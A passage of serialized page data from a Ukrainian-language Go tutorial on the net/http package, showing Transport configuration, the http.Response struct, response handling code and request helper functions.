DisableKeepAlives",[5557,25393,16756],{"class":5567},[5557,25395,25396],{"class":5559,"line":5887},[5557,25397,5575],{"emptyLinePlaceholder":5574},[5557,25399,25400],{"class":5559,"line":5892},[5557,25401,25402],{"class":5647},"    \u002F\u002F Автоматично стискати gzip\n",[5557,25404,25405,25408],{"class":5559,"line":5898},[5557,25406,25407],{"class":5654},"    DisableCompression",[5557,25409,16756],{"class":5567},[5557,25411,25412],{"class":5559,"line":5914},[5557,25413,5575],{"emptyLinePlaceholder":5574},[5557,25415,25416],{"class":5559,"line":5919},[5557,25417,25418],{"class":5647},"    \u002F\u002F Проксі-функція\n",[5557,25420,25421,25424,25426,25428,25430,25432,25434,25436,25438,25440,25442],{"class":5559,"line":5925},[5557,25422,25423],{"class":5654},"    Proxy",[5557,25425,21829],{"class":5563},[5557,25427,21757],{"class":5585},[5557,25429,8933],{"class":5567},[5557,25431,18900],{"class":5585},[5557,25433,16620],{"class":5567},[5557,25435,5268],{"class":5585},[5557,25437,10097],{"class":5567},[5557,25439,5305],{"class":5585},[5557,25441,12061],{"class":5567},[5557,25443,5623],{"class":5585},[5557,25445,25446],{"class":5559,"line":5930},[5557,25447,5922],{"class":5585},[5348,25449,25450],{},[5205,25451,25452],{},"Приклад налаштування Transport:",[5464,25454,25456],{"className":5550,"code":25455,"language":5553,"meta":5472,"style":5472},"func configuredClient() *http.Client {\n    transport := &http.Transport{\n        \u002F\u002F Пул з'єднань\n        MaxIdleConns:        100,\n        MaxIdleConnsPerHost: 10,\n        MaxConnsPerHost:     50,\n        IdleConnTimeout:     90 * time.Second,\n\n        \u002F\u002F Таймаути\n        TLSHandshakeTimeout:   10 * time.Second,\n        ResponseHeaderTimeout: 10 * time.Second,\n        ExpectContinueTimeout: 1 * time.Second,\n\n        \u002F\u002F TLS конфігурація (строга безпека)\n        TLSClientConfig: &tls.Config{\n            MinVersion: tls.VersionTLS12,\n            CipherSuites: []uint16{\n                tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,\n                tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,\n            },\n        },\n\n        \u002F\u002F Проксі (опціонально)\n        Proxy: http.ProxyFromEnvironment, \u002F\u002F Читає HTTP_PROXY, HTTPS_PROXY\n\n        \u002F\u002F Кастомний Dialer\n        DialContext: (&net.Dialer{\n            Timeout:   30 * time.Second,\n            KeepAlive: 30 * time.Second,\n        }).DialContext,\n    }\n\n    return &http.Client{\n        Transport: transport,\n        Timeout:   30 * time.Second,\n    }\n}\n",[5236,25457,25458,25475,25490,25495,25506,25516,25528,25546,25550,25555,25573,25592,25610,25614,25619,25634,25648,25658,25668,25678,25682,25686,25690,25695,25714,25718,25723,25740,25759,25778,25788,25792,25796,25811,25823,25842,25846],{"__ignoreMap":5472},[5557,25459,25460,25462,25465,25467,25469,25471,25473],{"class":5559,"line":5560},[5557,25461,5634],{"class":5563},[5557,25463,25464],{"class":5637}," configuredClient",[5557,25466,14604],{"class":5585},[5557,25468,8928],{"class":5567},[5557,25470,5268],{"class":5585},[5557,25472,23739],{"class":5567},[5557,25474,5701],{"class":5585},[5557,25476,25477,25480,25482,25484,25486,25488],{"class":5559,"line":5571},[5557,25478,25479],{"class":5654},"    transport",[5557,25481,8973],{"class":5585},[5557,25483,8928],{"class":5567},[5557,25485,5268],{"class":5585},[5557,25487,23799],{"class":5567},[5557,25489,6695],{"class":5585},[5557,25491,25492],{"class":5559,"line":5578},[5557,25493,25494],{"class":5647},"        \u002F\u002F Пул з'єднань\n",[5557,25496,25497,25499,25502,25504],{"class":5559,"line":5589},[5557,25498,23806],{"class":5654},[5557,25500,25501],{"class":5585},":        ",[5557,25503,23812],{"class":6134},[5557,25505,6710],{"class":5585},[5557,25507,25508,25510,25512,25514],{"class":5559,"line":5596},[5557,25509,23819],{"class":5654},[5557,25511,6704],{"class":5585},[5557,25513,18335],{"class":6134},[5557,25515,6710],{"class":5585},[5557,25517,25518,25521,25523,25526],{"class":5559,"line":5602},[5557,25519,25520],{"class":5654},"        MaxConnsPerHost",[5557,25522,8989],{"class":5585},[5557,25524,25525],{"class":6134},"50",[5557,25527,6710],{"class":5585},[5557,25529,25530,25532,25534,25536,25538,25540,25542,25544],{"class":5559,"line":5608},[5557,25531,23830],{"class":5654},[5557,25533,8989],{"class":5585},[5557,25535,23835],{"class":6134},[5557,25537,20429],{"class":5585},[5557,25539,20432],{"class":5654},[5557,25541,5268],{"class":5585},[5557,25543,20437],{"class":5654},[5557,25545,6710],{"class":5585},[5557,25547,25548],{"class":5559,"line":5614},[5557,25549,5575],{"emptyLinePlaceholder":5574},[5557,25551,25552],{"class":5559,"line":5620},[5557,25553,25554],{"class":5647},"        \u002F\u002F Таймаути\n",[5557,25556,25557,25559,25561,25563,25565,25567,25569,25571],{"class":5559,"line":5626},[5557,25558,23850],{"class":5654},[5557,25560,9027],{"class":5585},[5557,25562,18335],{"class":6134},[5557,25564,20429],{"class":5585},[5557,25566,20432],{"class":5654},[5557,25568,5268],{"class":5585},[5557,25570,20437],{"class":5654},[5557,25572,6710],{"class":5585},[5557,25574,25575,25578,25580,25582,25584,25586,25588,25590],{"class":5559,"line":5631},[5557,25576,25577],{"class":5654},"        ResponseHeaderTimeout",[5557,25579,6704],{"class":5585},[5557,25581,18335],{"class":6134},[5557,25583,20429],{"class":5585},[5557,25585,20432],{"class":5654},[5557,25587,5268],{"class":5585},[5557,25589,20437],{"class":5654},[5557,25591,6710],{"class":5585},[5557,25593,25594,25596,25598,25600,25602,25604,25606,25608],{"class":5559,"line":5644},[5557,25595,23869],{"class":5654},[5557,25597,6704],{"class":5585},[5557,25599,6213],{"class":6134},[5557,25601,20429],{"class":5585},[5557,25603,20432],{"class":5654},[5557,25605,5268],{"class":5585},[5557,25607,20437],{"class":5654},[5557,25609,6710],{"class":5585},[5557,25611,25612],{"class":5559,"line":5651},[5557,25613,5575],{"emptyLinePlaceholder":5574},[5557,25615,25616],{"class":5559,"line":5686},[5557,25617,25618],{"class":5647},"        \u002F\u002F TLS конфігурація (строга безпека)\n",[5557,25620,25621,25624,25626,25628,25630,25632],{"class":5559,"line":5704},[5557,25622,25623],{"class":5654},"        TLSClientConfig",[5557,25625,22390],{"class":5585},[5557,25627,16848],{"class":5567},[5557,25629,5268],{"class":5585},[5557,25631,22397],{"class":5567},[5557,25633,6695],{"class":5585},[5557,25635,25636,25638,25640,25642,25644,25646],{"class":5559,"line":5732},[5557,25637,22404],{"class":5654},[5557,25639,6704],{"class":5585},[5557,25641,16848],{"class":5654},[5557,25643,5268],{"class":5585},[5557,25645,22414],{"class":5654},[5557,25647,6710],{"class":5585},[5557,25649,25650,25652,25654,25656],{"class":5559,"line":5738},[5557,25651,22467],{"class":5654},[5557,25653,22470],{"class":5585},[5557,25655,22473],{"class":5567},[5557,25657,6695],{"class":5585},[5557,25659,25660,25662,25664,25666],{"class":5559,"line":5755},[5557,25661,22480],{"class":5654},[5557,25663,5268],{"class":5585},[5557,25665,22496],{"class":5654},[5557,25667,6710],{"class":5585},[5557,25669,25670,25672,25674,25676],{"class":5559,"line":5760},[5557,25671,22480],{"class":5654},[5557,25673,5268],{"class":5585},[5557,25675,22518],{"class":5654},[5557,25677,6710],{"class":5585},[5557,25679,25680],{"class":5559,"line":5778},[5557,25681,22525],{"class":5585},[5557,25683,25684],{"class":5559,"line":5794},[5557,25685,22530],{"class":5585},[5557,25687,25688],{"class":5559,"line":5799},[5557,25689,5575],{"emptyLinePlaceholder":5574},[5557,25691,25692],{"class":5559,"line":5807},[5557,25693,25694],{"class":5647},"        \u002F\u002F Проксі (опціонально)\n",[5557,25696,25697,25700,25702,25704,25706,25709,25711],{"class":5559,"line":5813},[5557,25698,25699],{"class":5654},"        Proxy",[5557,25701,6704],{"class":5585},[5557,25703,8928],{"class":5654},[5557,25705,5268],{"class":5585},[5557,25707,25708],{"class":5654},"ProxyFromEnvironment",[5557,25710,5305],{"class":5585},[5557,25712,25713],{"class":5647},"\u002F\u002F Читає HTTP_PROXY, HTTPS_PROXY\n",[5557,25715,25716],{"class":5559,"line":5835},[5557,25717,5575],{"emptyLinePlaceholder":5574},[5557,25719,25720],{"class":5559,"line":5849},[5557,25721,25722],{"class":5647},"        \u002F\u002F Кастомний Dialer\n",[5557,25724,25725,25728,25731,25733,25735,25738],{"class":5559,"line":5875},[5557,25726,25727],{"class":5654},"        DialContext",[5557,25729,25730],{"class":5585},": (&",[5557,25732,5308],{"class":5567},[5557,25734,5268],{"class":5585},[5557,25736,25737],{"class":5567},"Dialer",[5557,25739,6695],{"class":5585},[5557,25741,25742,25745,25747,25749,25751,25753,25755,25757],{"class":5559,"line":5881},[5557,25743,25744],{"class":5654},"            Timeout",[5557,25746,9027],{"class":5585},[5557,25748,22746],{"class":6134},[5557,25750,20429],{"class":5585},[5557,25752,20432],{"class":5654},[5557,25754,5268],{"class":5585},[5557,25756,20437],{"class":5654},[5557,25758,6710],{"class":5585},[5557,25760,25761,25764,25766,25768,25770,25772,25774,25776],{"class":5559,"line":5887},[5557,25762,25763],{"class":5654},"            KeepAlive",[5557,25765,6704],{"class":5585},[5557,25767,22746],{"class":6134},[5557,25769,20429],{"class":5585},[5557,25771,20432],{"class":5654},[5557,25773,5268],{"class":5585},[5557,25775,20437],{"class":5654},[5557,25777,6710],{"class":5585},[5557,25779,25780,25783,25786],{"class":5559,"line":5892},[5557,25781,25782],{"class":5585},"        }).",[5557,25784,25785],{"class":5654},"DialContext",[5557,25787,6710],{"class":5585},[5557,25789,25790],{"class":5559,"line":5898},[5557,25791,5735],{"class":5585},[5557,25793,25794],{"class":5559,"line":5914},[5557,25795,5575],{"emptyLinePlaceholder":5574},[5557,25797,25798,25800,25803,25805,25807,25809],{"class":5559,"line":5919},[5557,25799,11758],{"class":5581},[5557,25801,25802],{"class":5585}," &",[5557,25804,8928],{"class":5567},[5557,25806,5268],{"class":5585},[5557,25808,23739],{"class":5567},[5557,25810,6695],{"class":5585},[5557,25812,25813,25816,25818,25821],{"class":5559,"line":5925},[5557,25814,25815],{"class":5654},"        Transport",[5557,25817,6704],{"class":5585},[5557,25819,25820],{"class":5654},"transport",[5557,25822,6710],{"class":5585},[5557,25824,25825,25828,25830,25832,25834,25836,25838,25840],{"class":5559,"line":5930},[5557,25826,25827],{"class":5654},"        Timeout",[5557,25829,9027],{"class":5585},[5557,25831,22746],{"class":6134},[5557,25833,20429],{"class":5585},[5557,25835,20432],{"class":5654},[5557,25837,5268],{"class":5585},[5557,25839,20437],{"class":5654},[5557,25841,6710],{"class":5585},[5557,25843,25844],{"class":5559,"line":5952},[5557,25845,5735],{"class":5585},[5557,25847,25848],{"class":5559,"line":5966},[5557,25849,5922],{"class":5585},[7167,25851,16563,25853,25856],{"id":25852},"структура-httpresponse-відповідь-від-сервера",[5236,25854,25855],{},"http.Response",": відповідь від сервера",[5464,25858,25860],{"className":5550,"code":25859,"language":5553,"meta":5472,"style":5472},"type Response struct {\n    Status     string \u002F\u002F \"200 OK\"\n    StatusCode int    \u002F\u002F 200\n    Proto      string \u002F\u002F \"HTTP\u002F1.1\"\n    ProtoMajor int    \u002F\u002F 1\n    ProtoMinor int    \u002F\u002F 1\n\n    Header Header      \u002F\u002F Заголовки відповіді\n    Body   io.ReadCloser \u002F\u002F Тіло (завжди закривайте!)\n\n    ContentLength    int64  \u002F\u002F Розмір тіла (-1 якщо chunked)\n    TransferEncoding []string\n    Close            bool   \u002F\u002F Чи треба закрити з'єднання\n    Uncompressed     bool   \u002F\u002F Чи було автоматично розпаковано gzip\n\n    \u002F\u002F Оригінальний запит\n    Request *Request\n\n    \u002F\u002F TLS інформація\n    TLS *tls.ConnectionState\n}\n",[5236,25861,25862,25873,25883,25893,25901,25909,25917,25921,25930,25945,25949,25959,25967,25977,25988,25992,25997,26006,26010,26015,26027],{"__ignoreMap":5472},[5557,25863,25864,25866,25869,25871],{"class":5559,"line":5560},[5557,25865,11991],{"class":5563},[5557,25867,25868],{"class":5567}," Response",[5557,25870,11997],{"class":5563},[5557,25872,5701],{"class":5585},[5557,25874,25875,25878,25880],{"class":5559,"line":5571},[5557,25876,25877],{"class":5654},"    Status",[5557,25879,16977],{"class":5567},[5557,25881,25882],{"class":5647}," \u002F\u002F \"200 OK\"\n",[5557,25884,25885,25888,25890],{"class":5559,"line":5578},[5557,25886,25887],{"class":5654},"    StatusCode",[5557,25889,6650],{"class":5567},[5557,25891,25892],{"class":5647},"    \u002F\u002F 200\n",[5557,25894,25895,25897,25899],{"class":5559,"line":5589},[5557,25896,16639],{"class":5654},[5557,25898,16642],{"class":5567},[5557,25900,16645],{"class":5647},[5557,25902,25903,25905,25907],{"class":5559,"line":5596},[5557,25904,16650],{"class":5654},[5557,25906,6650],{"class":5567},[5557,25908,16655],{"class":5647},[5557,25910,25911,25913,25915],{"class":5559,"line":5602},[5557,25912,16660],{"class":5654},[5557,25914,6650],{"class":5567},[5557,25916,16655],{"class":5647},[5557,25918,25919],{"class":5559,"line":5608},[5557,25920,5575],{"emptyLinePlaceholder":5574},[5557,25922,25923,25925,25927],{"class":5559,"line":5614},[5557,25924,16678],{"class":5654},[5557,25926,17360],{"class":5567},[5557,25928,25929],{"class":5647},"      \u002F\u002F Заголовки відповіді\n",[5557,25931,25932,25934,25937,25939,25942],{"class":5559,"line":5620},[5557,25933,16695],{"class":5654},[5557,25935,25936],{"class":5567},"   io",[5557,25938,5268],{"class":5585},[5557,25940,25941],{"class":5567},"ReadCloser",[5557,25943,25944],{"class":5647}," \u002F\u002F Тіло (завжди закривайте!)\n",[5557,25946,25947],{"class":5559,"line":5626},[5557,25948,5575],{"emptyLinePlaceholder":5574},[5557,25950,25951,25953,25956],{"class":5559,"line":5631},[5557,25952,16717],{"class":5654},[5557,25954,25955],{"class":5567},"    int64",[5557,25957,25958],{"class":5647},"  \u002F\u002F Розмір тіла (-1 якщо chunked)\n",[5557,25960,25961,25963,25965],{"class":5559,"line":5644},[5557,25962,16734],{"class":5654},[5557,25964,12049],{"class":5585},[5557,25966,16739],{"class":5567},[5557,25968,25969,25971,25974],{"class":5559,"line":5651},[5557,25970,16753],{"class":5654},[5557,25972,25973],{"class":5567},"            bool",[5557,25975,25976],{"class":5647},"   \u002F\u002F Чи треба закрити з'єднання\n",[5557,25978,25979,25982,25985],{"class":5559,"line":5686},[5557,25980,25981],{"class":5654},"    Uncompressed",[5557,25983,25984],{"class":5567},"     bool",[5557,25986,25987],{"class":5647},"   \u002F\u002F Чи було автоматично розпаковано gzip\n",[5557,25989,25990],{"class":5559,"line":5704},[5557,25991,5575],{"emptyLinePlaceholder":5574},[5557,25993,25994],{"class":5559,"line":5732},[5557,25995,25996],{"class":5647},"    \u002F\u002F Оригінальний запит\n",[5557,25998,25999,26002,26004],{"class":5559,"line":5738},[5557,26000,26001],{"class":5654},"    Request",[5557,26003,8925],{"class":5585},[5557,26005,18865],{"class":5567},[5557,26007,26008],{"class":5559,"line":5755},[5557,26009,5575],{"emptyLinePlaceholder":5574},[5557,26011,26012],{"class":5559,"line":5760},[5557,26013,26014],{"class":5647},"    \u002F\u002F TLS інформація\n",[5557,26016,26017,26019,26021,26023,26025],{"class":5559,"line":5778},[5557,26018,16843],{"class":5654},[5557,26020,8925],{"class":5585},[5557,26022,16848],{"class":5567},[5557,26024,5268],{"class":5585},[5557,26026,16853],{"class":5567},[5557,26028,26029],{"class":5559,"line":5794},[5557,26030,5922],{"class":5585},[5348,26032,26033],{},[5205,26034,26035],{},"Робота з Response:",[5464,26037,26039],{"className":5550,"code":26038,"language":5553,"meta":5472,"style":5472},"func handleResponse(resp *http.Response) {\n    defer resp.Body.Close()\n\n    \u002F\u002F Перевірка статус-коду\n    if resp.StatusCode >= 400 {\n        body, _ := io.ReadAll(resp.Body)\n        log.Fatalf(\"Error %d: %s\", resp.StatusCode, string(body))\n    }\n\n    \u002F\u002F Читання заголовків\n    contentType := resp.Header.Get(\"Content-Type\")\n    etag := resp.Header.Get(\"ETag\")\n\n    \u002F\u002F Читання тіла\n    if strings.Contains(contentType, \"application\u002Fjson\") {\n        var result map[string]any\n        json.NewDecoder(resp.Body).Decode(&result)\n        fmt.Println(result)\n    } else {\n        body, _ := io.ReadAll(resp.Body)\n        fmt.Println(string(body))\n    }\n\n    \u002F\u002F Інформація про з'єднання\n    if resp.TLS != nil {\n        fmt.Println(\"TLS Version:\", resp.TLS.Version)\n        fmt.Println(\"Cipher Suite:\", resp.TLS.CipherSuite)\n    }\n}\n",[5236,26040,26041,26062,26078,26082,26087,26104,26131,26170,26174,26178,26182,26205,26227,26231,26236,26256,26274,26301,26315,26325,26351,26369,26373,26377,26382,26399,26427,26455,26459],{"__ignoreMap":5472},[5557,26042,26043,26045,26048,26050,26052,26054,26056,26058,26060],{"class":5559,"line":5560},[5557,26044,5634],{"class":5563},[5557,26046,26047],{"class":5637}," handleResponse",[5557,26049,5673],{"class":5585},[5557,26051,24316],{"class":5654},[5557,26053,8925],{"class":5585},[5557,26055,8928],{"class":5567},[5557,26057,5268],{"class":5585},[5557,26059,23935],{"class":5567},[5557,26061,5949],{"class":5585},[5557,26063,26064,26066,26068,26070,26072,26074,26076],{"class":5559,"line":5571},[5557,26065,5741],{"class":5581},[5557,26067,24259],{"class":5654},[5557,26069,5268],{"class":5585},[5557,26071,15196],{"class":5654},[5557,26073,5268],{"class":5585},[5557,26075,5749],{"class":5637},[5557,26077,5752],{"class":5585},[5557,26079,26080],{"class":5559,"line":5578},[5557,26081,5575],{"emptyLinePlaceholder":5574},[5557,26083,26084],{"class":5559,"line":5589},[5557,26085,26086],{"class":5647},"    \u002F\u002F Перевірка статус-коду\n",[5557,26088,26089,26091,26093,26095,26097,26100,26102],{"class":5559,"line":5596},[5557,26090,5689],{"class":5581},[5557,26092,24259],{"class":5654},[5557,26094,5268],{"class":5585},[5557,26096,24284],{"class":5654},[5557,26098,26099],{"class":5585}," >= ",[5557,26101,6152],{"class":6134},[5557,26103,5701],{"class":5585},[5557,26105,26106,26109,26111,26113,26115,26117,26119,26121,26123,26125,26127,26129],{"class":5559,"line":5602},[5557,26107,26108],{"class":5654},"        body",[5557,26110,5305],{"class":5585},[5557,26112,10892],{"class":5654},[5557,26114,5663],{"class":5585},[5557,26116,5311],{"class":5654},[5557,26118,5268],{"class":5585},[5557,26120,18134],{"class":5637},[5557,26122,5673],{"class":5585},[5557,26124,24316],{"class":5654},[5557,26126,5268],{"class":5585},[5557,26128,15196],{"class":5654},[5557,26130,5623],{"class":5585},[5557,26132,26133,26135,26137,26139,26141,26144,26146,26148,26150,26152,26154,26156,26158,26160,26162,26164,26166,26168],{"class":5559,"line":5608},[5557,26134,5707],{"class":5654},[5557,26136,5268],{"class":5585},[5557,26138,5712],{"class":5637},[5557,26140,5673],{"class":5585},[5557,26142,26143],{"class":5592},"\"Error ",[5557,26145,6794],{"class":5654},[5557,26147,6704],{"class":5592},[5557,26149,6238],{"class":5654},[5557,26151,5723],{"class":5592},[5557,26153,5305],{"class":5585},[5557,26155,24316],{"class":5654},[5557,26157,5268],{"class":5585},[5557,26159,24284],{"class":5654},[5557,26161,5305],{"class":5585},[5557,26163,6692],{"class":5567},[5557,26165,5673],{"class":5585},[5557,26167,5531],{"class":5654},[5557,26169,6878],{"class":5585},[5557,26171,26172],{"class":5559,"line":5614},[5557,26173,5735],{"class":5585},[5557,26175,26176],{"class":5559,"line":5620},[5557,26177,5575],{"emptyLinePlaceholder":5574},[5557,26179,26180],{"class":5559,"line":5626},[5557,26181,17627],{"class":5647},[5557,26183,26184,26187,26189,26191,26193,26195,26197,26199,26201,26203],{"class":5559,"line":5631},[5557,26185,26186],{"class":5654},"    contentType",[5557,26188,5663],{"class":5585},[5557,26190,24316],{"class":5654},[5557,26192,5268],{"class":5585},[5557,26194,10972],{"class":5654},[5557,26196,5268],{"class":5585},[5557,26198,10977],{"class":5637},[5557,26200,5673],{"class":5585},[5557,26202,11098],{"class":5592},[5557,26204,5623],{"class":5585},[5557,26206,26207,26209,26211,26213,26215,26217,26219,26221,26223,26225],{"class":5559,"line":5644},[5557,26208,10913],{"class":5654},[5557,26210,5663],{"class":5585},[5557,26212,24316],{"class":5654},[5557,26214,5268],{"class":5585},[5557,26216,10972],{"class":5654},[5557,26218,5268],{"class":5585},[5557,26220,10977],{"class":5637},[5557,26222,5673],{"class":5585},[5557,26224,11051],{"class":5592},[5557,26226,5623],{"class":5585},[5557,26228,26229],{"class":5559,"line":5651},[5557,26230,5575],{"emptyLinePlaceholder":5574},[5557,26232,26233],{"class":5559,"line":5686},[5557,26234,26235],{"class":5647},"    \u002F\u002F Читання тіла\n",[5557,26237,26238,26240,26242,26244,26246,26248,26250,26252,26254],{"class":5559,"line":5704},[5557,26239,5689],{"class":5581},[5557,26241,11414],{"class":5654},[5557,26243,5268],{"class":5585},[5557,26245,11419],{"class":5637},[5557,26247,5673],{"class":5585},[5557,26249,6655],{"class":5654},[5557,26251,5305],{"class":5585},[5557,26253,6555],{"class":5592},[5557,26255,5949],{"class":5585},[5557,26257,26258,26260,26263,26265,26267,26269,26271],{"class":5559,"line":5732},[5557,26259,15148],{"class":5563},[5557,26261,26262],{"class":5654}," result",[5557,26264,17363],{"class":5563},[5557,26266,6192],{"class":5585},[5557,26268,6692],{"class":5567},[5557,26270,6689],{"class":5585},[5557,26272,26273],{"class":5567},"any\n",[5557,26275,26276,26278,26280,26282,26284,26286,26288,26290,26292,26294,26296,26299],{"class":5559,"line":5738},[5557,26277,6532],{"class":5654},[5557,26279,5268],{"class":5585},[5557,26281,15187],{"class":5637},[5557,26283,5673],{"class":5585},[5557,26285,24316],{"class":5654},[5557,26287,5268],{"class":5585},[5557,26289,15196],{"class":5654},[5557,26291,7121],{"class":5585},[5557,26293,15201],{"class":5637},[5557,26295,15204],{"class":5585},[5557,26297,26298],{"class":5654},"result",[5557,26300,5623],{"class":5585},[5557,26302,26303,26305,26307,26309,26311,26313],{"class":5559,"line":5755},[5557,26304,11530],{"class":5654},[5557,26306,5268],{"class":5585},[5557,26308,5768],{"class":5637},[5557,26310,5673],{"class":5585},[5557,26312,26298],{"class":5654},[5557,26314,5623],{"class":5585},[5557,26316,26317,26320,26323],{"class":5559,"line":5760},[5557,26318,26319],{"class":5585},"    } ",[5557,26321,26322],{"class":5581},"else",[5557,26324,5701],{"class":5585},[5557,26326,26327,26329,26331,26333,26335,26337,26339,26341,26343,26345,26347,26349],{"class":5559,"line":5778},[5557,26328,26108],{"class":5654},[5557,26330,5305],{"class":5585},[5557,26332,10892],{"class":5654},[5557,26334,5663],{"class":5585},[5557,26336,5311],{"class":5654},[5557,26338,5268],{"class":5585},[5557,26340,18134],{"class":5637},[5557,26342,5673],{"class":5585},[5557,26344,24316],{"class":5654},[5557,26346,5268],{"class":5585},[5557,26348,15196],{"class":5654},[5557,26350,5623],{"class":5585},[5557,26352,26353,26355,26357,26359,26361,26363,26365,26367],{"class":5559,"line":5794},[5557,26354,11530],{"class":5654},[5557,26356,5268],{"class":5585},[5557,26358,5768],{"class":5637},[5557,26360,5673],{"class":5585},[5557,26362,6692],{"class":5567},[5557,26364,5673],{"class":5585},[5557,26366,5531],{"class":5654},[5557,26368,6878],{"class":5585},[5557,26370,26371],{"class":5559,"line":5799},[5557,26372,5735],{"class":5585},[5557,26374,26375],{"class":5559,"line":5807},[5557,26376,5575],{"emptyLinePlaceholder":5574},[5557,26378,26379],{"class":5559,"line":5813},[5557,26380,26381],{"class":5647},"    \u002F\u002F Інформація про з'єднання\n",[5557,26383,26384,26386,26388,26390,26393,26395,26397],{"class":5559,"line":5835},[5557,26385,5689],{"class":5581},[5557,26387,24259],{"class":5654},[5557,26389,5268],{"class":5585},[5557,26391,26392],{"class":5654},"TLS",[5557,26394,5695],{"class":5585},[5557,26396,5698],{"class":5563},[5557,26398,5701],{"class":5585},[5557,26400,26401,26403,26405,26407,26409,26412,26414,26416,26418,26420,26422,26425],{"class":5559,"line":5849},[5557,26402,11530],{"class":5654},[5557,26404,5268],{"class":5585},[5557,26406,5768],{"class":5637},[5557,26408,5673],{"class":5585},[5557,26410,26411],{"class":5592},"\"TLS Version:\"",[5557,26413,5305],{"class":5585},[5557,26415,24316],{"class":5654},[5557,26417,5268],{"class":5585},[5557,26419,26392],{"class":5654},[5557,26421,5268],{"class":5585},[5557,26423,26424],{"class":5654},"Version",[5557,26426,5623],{"class":5585},[5557,26428,26429,26431,26433,26435,26437,26440,26442,26444,26446,26448,26450,26453],{"class":5559,"line":5875},[5557,26430,11530],{"class":5654},[5557,26432,5268],{"class":5585},[5557,26434,5768],{"class":5637},[5557,26436,5673],{"class":5585},[5557,26438,26439],{"class":5592},"\"Cipher Suite:\"",[5557,26441,5305],{"class":5585},[5557,26443,24316],{"class":5654},[5557,26445,5268],{"class":5585},[5557,26447,26392],{"class":5654},[5557,26449,5268],{"class":5585},[5557,26451,26452],{"class":5654},"CipherSuite",[5557,26454,5623],{"class":5585},[5557,26456,26457],{"class":5559,"line":5881},[5557,26458,5735],{"class":5585},[5557,26460,26461],{"class":5559,"line":5887},[5557,26462,5922],{"class":5585},[7167,26464,26466],{"id":26465},"хелпери-та-утилітарні-функції","Хелпери та утилітарні функції",[5348,26468,26469,26470,26472],{},"Пакет ",[5236,26471,5238],{}," надає багато зручних функцій для типових операцій.",[7759,26474,26476],{"id":26475},"функції-для-створення-запитів","Функції для створення запитів",[5464,26478,26480],{"className":5550,"code":26479,"language":5553,"meta":5472,"style":5472},"\u002F\u002F Створення нового запиту\nfunc NewRequest(method, url string, body io.Reader) (*Request, error)\n\n\u002F\u002F Створення запиту з контекстом\nfunc NewRequestWithContext(ctx context.Context, method, url string, body io.Reader) (*Request, error)\n\n\u002F\u002F Читання запиту з Reader (для тестування або проксі)\nfunc ReadRequest(b *bufio.Reader) (*Request, error)\n\n\u002F\u002F Читання відповіді з Reader\nfunc ReadResponse(r *bufio.Reader, req *Request) (*Response, error)\n",[5236,26481,26482,26487,26524,26528,26533,26580,26584,26589,26618,26622,26627],{"__ignoreMap":5472},[5557,26483,26484],{"class":5559,"line":5560},[5557,26485,26486],{"class":5647},"\u002F\u002F Створення нового запиту\n",[5557,26488,26489,26491,26494,26496,26498,26500,26502,26504,26506,26508,26510,26512,26514,26516,26518,26520,26522],{"class":5559,"line":5571},[5557,26490,5634],{"class":5563},[5557,26492,26493],{"class":5637}," NewRequest",[5557,26495,5673],{"class":5585},[5557,26497,6253],{"class":5654},[5557,26499,5305],{"class":5585},[5557,26501,16620],{"class":5654},[5557,26503,6662],{"class":5567},[5557,26505,5305],{"class":5585},[5557,26507,5531],{"class":5654},[5557,26509,16698],{"class":5567},[5557,26511,5268],{"class":5585},[5557,26513,23988],{"class":5567},[5557,26515,18900],{"class":5585},[5557,26517,8933],{"class":5567},[5557,26519,5305],{"class":5585},[5557,26521,12061],{"class":5567},[5557,26523,5623],{"class":5585},[5557,26525,26526],{"class":5559,"line":5578},[5557,26527,5575],{"emptyLinePlaceholder":5574},[5557,26529,26530],{"class":5559,"line":5589},[5557,26531,26532],{"class":5647},"\u002F\u002F Створення запиту з контекстом\n",[5557,26534,26535,26537,26540,26542,26544,26546,26548,26550,26552,26554,26556,26558,26560,26562,26564,26566,26568,26570,26572,26574,26576,26578],{"class":5559,"line":5596},[5557,26536,5634],{"class":5563},[5557,26538,26539],{"class":5637}," NewRequestWithContext",[5557,26541,5673],{"class":5585},[5557,26543,18853],{"class":5654},[5557,26545,16902],{"class":5567},[5557,26547,5268],{"class":5585},[5557,26549,18814],{"class":5567},[5557,26551,5305],{"class":5585},[5557,26553,6253],{"class":5654},[5557,26555,5305],{"class":5585},[5557,26557,16620],{"class":5654},[5557,26559,6662],{"class":5567},[5557,26561,5305],{"class":5585},[5557,26563,5531],{"class":5654},[5557,26565,16698],{"class":5567},[5557,26567,5268],{"class":5585},[5557,26569,23988],{"class":5567},[5557,26571,18900],{"class":5585},[5557,26573,8933],{"class":5567},[5557,26575,5305],{"class":5585},[5557,26577,12061],{"class":5567},[5557,26579,5623],{"class":5585},[5557,26581,26582],{"class":5559,"line":5602},[5557,26583,5575],{"emptyLinePlaceholder":5574},[5557,26585,26586],{"class":5559,"line":5608},[5557,26587,26588],{"class":5647},"\u002F\u002F Читання запиту з Reader (для тестування або проксі)\n",[5557,26590,26591,26593,26596,26598,26600,26602,26604,26606,26608,26610,26612,26614,26616],{"class":5559,"line":5614},[5557,26592,5634],{"class":5563},[5557,26594,26595],{"class":5637}," ReadRequest",[5557,26597,5673],{"class":5585},[5557,26599,12046],{"class":5654},[5557,26601,8925],{"class":5585},[5557,26603,5314],{"class":5567},[5557,26605,5268],{"class":5585},[5557,26607,23988],{"class":5567},[5557,26609,18900],{"class":5585},[5557,26611,8933],{"class":5567},[5557,26613,5305],{"class":5585},[5557,26615,12061],{"class":5567},[5557,26617,5623],{"class":5585},[5557,26619,26620],{"class":5559,"line":5620},[5557,26621,5575],{"emptyLinePlaceholder":5574},[5557,26623,26624],{"class":5559,"line":5626},[5557,26625,26626],{"class":5647},"\u002F\u002F Читання відповіді з Reader\n",[5557,26628,26629,26631,26634,26636,26638,26640,26642,26644,26646,26648,26650,26652,26654,26656,26658,26660,26662],{"class":5559,"line":5631},[5557,26630,5634],{"class":5563},[5557,26632,26633],{"class":5637}," 